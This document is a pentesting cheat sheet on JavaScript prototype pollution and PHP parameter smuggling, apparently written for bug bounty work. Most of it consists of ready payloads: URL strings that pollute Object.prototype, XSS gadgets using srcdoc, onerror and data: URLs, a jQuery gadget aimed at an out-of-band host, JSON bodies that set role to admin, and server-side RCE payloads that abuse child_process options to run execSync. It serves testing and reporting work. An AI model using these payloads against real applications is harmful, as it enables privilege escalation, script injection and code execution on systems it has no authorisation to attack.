Prototype Pollution
Where to find?
- Javascript driven frameworks (Express..)
Anything that merges attacker input into an object: Object.assign, _.merge, $.extend, JSON.parse into a config, query-string parsers, req.body spread into a model.
The three keys
__proto__
constructor.prototype
constructor[prototype]Client side
Test in the URL: most client-side sinks read location.search or location.hash.
?__proto__[foo]=bar
?__proto__.foo=bar
?constructor.prototype.foo=bar
#__proto__[foo]=bar
?a[__proto__][foo]=barThen check in the console:
Object.prototype.foo // "bar" → polluted
The pollution alone is not the bug. Find the gadget: a property the app reads and turns into HTML or code.
?__proto__[srcdoc]=<script>alert(1)</script>
?__proto__[innerHTML]=<img src=x onerror=alert(1)>
?__proto__[src]=data:,alert(1)
?__proto__[transport_url]=data:,alert(1)
?__proto__[sanitizer][]=xjQuery $.get / $.ajax gadget:
?__proto__[url]=//oob.tld
?__proto__[context]=<img/src/onerror=alert(1)>Gadget lists per library: https://github.com/BlackFan/client-side-prototype-pollution
Server side
Harder to see: the response usually looks unchanged. Send the pollution, then look for a behaviour change.
{"user":"x","__proto__":{"role":"admin"}}
{"user":"x","constructor":{"prototype":{"role":"admin"}}}Detection tricks that produce a visible signal:
{"__proto__":{"status":510}} → next response returns 510
{"__proto__":{"json spaces":10}} → Express reformats JSON output
{"__proto__":{"parameterLimit":1}} → later form parsing breaks
{"__proto__":{"exposedHeaders":["x"]}}Escalation to RCE goes through child_process options:
{"__proto__":{"shell":"node","NODE_OPTIONS":"--require /proc/self/environ"}}
{"__proto__":{"argv0":"node","execArgv":["--eval=require('child_process').execSync('id')"]}}Burp: Server-Side Prototype Pollution Scanner (DOM Invader covers the client side).
PHP
PHP internally uses parse_str() to parse parameters so it sees the char “[” & “_” as the same. PHP by default will use the last param as valid. In cases PHP is running on backend but front end validates the param, we can smuggle fake params to php
example.com?account_id=gust&account[id=admin
# Backend would execute guest and frontend admin Reporting
Pollution with no gadget is usually closed as informational. Report the sink: “this becomes XSS on /page via srcdoc”, or “this sets role on the session object”.
Talks
https://www.youtube.com/watch?v=LUsiFV3dsK8